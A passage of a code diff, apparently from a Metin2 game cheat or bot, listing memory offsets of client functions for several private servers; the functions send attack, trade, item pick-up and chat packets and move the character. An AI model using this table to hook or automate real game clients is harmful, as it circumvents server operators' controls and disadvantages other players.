] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0xc7700; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0xc1dd0; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0xc7fb0; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0xc6f60; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0xc71e0; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0xc7280; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x879d0; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x133810; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x135020; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x1b9ac0; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x1399c0; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x75c00; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x76070; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x6a0d0; // [100 ] [1 / 1] + break; + } + case ServerName::MEDIUMMT2: + { + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x19b30; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x1309a0; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0xa490; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0xba40; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0xbbe0; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0xbb70; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x16780; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0xc120; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0xc300; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x16790; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x16100; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x16840; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x134f0; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x126a70; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x135ee0; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x19d90; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0xe0220; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x872e0; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x86ac0; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0xe0340; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0xe03b0; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0xe03d0; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0xe05f0; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0xb6090; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x147120; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x6b140; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x6b840; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x1ec50; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x4eb30; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x280c0; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x868a0; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x86bc0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x939c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x92f80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x930d0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x93250; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x86e50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x93740; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x93870; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x938e0; // [100 ] [1 / 1] + //pCPythonNetworkStreamSendFishingQuitPacket = Globals::hEntryBaseAddress + (null); + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x93960; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x93a50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x97070; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x970e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x97210; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x97260; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x942b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendRefinePacket = Globals::hEntryBaseAddress + 0x94690; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x946c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x94770; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x97600; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x97670; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x97730; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x947b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x948e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x94940; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x87830; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x2ee20; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x3c9c0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x32230; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x32290; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x32480; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x32490; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x32570; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x32730; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x36b40; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x32bd0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x32c00; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x35f70; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x32fc0; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x373c0; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x366f0; // [100 ] [1 / 1] + //pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + (null); + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x36cd0; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0xe3cd0; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0xd5f90; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0xf26e0; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x183f20; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0xe0c90; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x15e40; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x168e0; // [100 ] [1 / 1] + //pCPythonNetworkStreamSendCommandPacket = Globals::hEntryBaseAddress + (null); + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0xeb60; // [100 %] [1 / 1] + break; + } + case ServerName::ASENIS: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x199410; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x625e0; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x45870; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x45850; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x48da0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x48dc0; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x3c8e0; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x53a20; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x46c80; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x46920; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x53940; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x535c0; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x538e0; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x508c0; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x19d160; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x19b0c0; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x624f0; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x14a320; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x8c720; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x8bec0; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x14a440; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x14a480; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x14a690; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x14a6d0; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x14a720; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x1af980; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x5ad70; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x5a3d0; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x660c0; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x6ce40; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x71c80; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x8bfb0; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x8c660; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x98900; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x98480; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x95940; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x95b20; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x8c810; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x97a90; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x97a10; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x978b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x9a9a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x9aa00; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0xa1d10; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0xa1e80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0xa1fd0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0xa1b30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x96960; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x97cf0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x98820; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0xa1980; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0xa1930; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0xa1a80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x98500; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x95ab0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x963f0; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x8d570; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xa5140; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0xb5ec0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0xAABB0; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x19d250; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0xaa1e0; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x3c8e0; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0xaa240; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0xaa6d0; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0xae610; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0xabaa0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0xaba80; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0xaede0; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0xa9ee0; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0xaf5b0; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0xae650; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0xaeb00; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0xae970; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x65930; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x14ea70; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x1533c0; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x1db7e0; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x157d70; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x53500; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x53970; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x45b40; // [100 ] [1 / 1] + + break; + } + case ServerName::PANGEA: + { + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x2221a0; // [100 ] [1 / 1] + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x129170; // [100 ] [1 / 1] + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x221cb0; // [100 ] [1 / 1] + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0xf7610; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0xf8780; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0xf89c0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0xf88f0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x105290; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0xf8e50; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0xf9cd0; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x1052a0; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x104c30; // [100 ] [1 / 1] + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x105350; // [100 ] [1 / 1] + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x103480; // [100 ] [1 / 1] + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x217560; // [100 ] [1 / 1] + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x2255e0; // [100 ] [1 / 1] + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x129530; // [100 ] [1 / 1] + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x1c4890; // [100 ] [1 / 1] + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x1581b0; // [100 ] [1 / 1] + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x157880; // [100 ] [1 / 1] + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x1c49b0; // [100 ] [1 / 1] + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x1c4a20; // [100 ] [1 / 1] + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x1c4c30; // [100 ] [1 / 1] + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x1c4c70; // [100 ] [1 / 1] + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x1c4cf0; // [100 ] [1 / 1] + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x23e150; // [100 ] [1 / 1] + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x120df0; // [100 ] [1 / 1] + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x121540; // [100 ] [1 / 1] + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x12ee40; // [100 ] [1 / 1] + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x136270; // [100 ] [1 / 1] + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x13f240; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x157660; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x157980; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x163c80; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x163e10; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x1640b0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x1B3790; + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x157cc0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x164680; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x164740; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x164830; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x1648c0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x1649b0; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x167e70; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x167ef0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x168050; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x1680b0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x165270; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x1656f0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x1657d0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x168840; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x1688c0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x168990; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x165820; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x165930; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x1659a0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x158530; // [100 ] [1 / 1] + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x16b840; // [100 ] [1 / 1] + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x178520; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x16e290; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x16e2f0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x16e380; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x16e390; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x16e450; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x16e6f0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x1723d0; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x16eb40; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x16eb70; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x171a60; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x16eef0; // [100 ] [1 / 1] + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x172c60; // [100 ] [1 / 1] + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x171f80; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x172460; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x172560; // [100 ] [1 / 1] + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x1ee8f0; // [100 ] [1 / 1] + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x1cdd90; // [100 ] [1 / 1] + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x1d10e0; // [100 ] [1 / 1] + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x275560; // [100 ] [1 / 1] + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x1e3e10; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x104970; // [100 ] [1 / 1] + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x1053f0; // [100 ] [1 / 1] + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0xfce90; // [100 ] [1 / 1] + Globals::pCResourceReload = Globals::hEntryBaseAddress + 0x1d0cb0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0x16e150; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x16e0d0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemUseToItemPacket = 